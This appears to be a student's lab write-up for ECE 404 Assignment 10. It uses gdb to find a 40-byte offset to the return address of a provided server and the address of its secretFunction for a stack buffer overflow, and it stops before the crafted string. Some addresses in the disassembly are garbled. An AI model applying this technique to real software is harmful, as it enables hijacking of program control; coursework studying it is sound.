ECE 404 Assignment 10

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April 9, 2020

Contents

1 Buffer Overflow Attack

1

1 Buffer Overflow Attack

In order to craft a string to execute a buffer overflow attack on the server, I used gdb. I set a breakpoint at the top of the clientComm function, ran the server, and then executed the following commands.

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• (gdb) print &str
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- \$1 = (char (*)[5]) 0x7ffffffde70
- (gdb) print /x *((unsigned *) \$rbp + 2)
- \$2 = 0x400cd9
- (gdb) x/96b \$rsp

Looking at the last output, I found the value 0x400cd9 at the start of the line 0x7fffffffde98. Since the beginning of the buffer is at 0x7fffffffde70, there is a difference of 0x28 to fill between the beginning of the buffer and the start of the return address. This means that 40 characters need to be placed in the buffer before the return address can be altered.

- (gdb) disas secretFunction
- Dump of assembler code for function secretFunction: 0x0000000000000000018 < +0 >: push %rbp 0x0000000000000000019 < +1 >: mov %rsp,%rbp

0x0000000000400e1c < +4 >: mov \$0x400fa8,%edi

0x00000000000400e26 < +14 >: mov \$0x1,%edi

0x0000000000400e2b < +19 >: callq 0x400a00 jexit@plt;

End of assembler dump.

This result showed me that the altered return address should be 0x400e18, which would have to be inputted backwards. All of this helped me create a string that would call the secretFunction: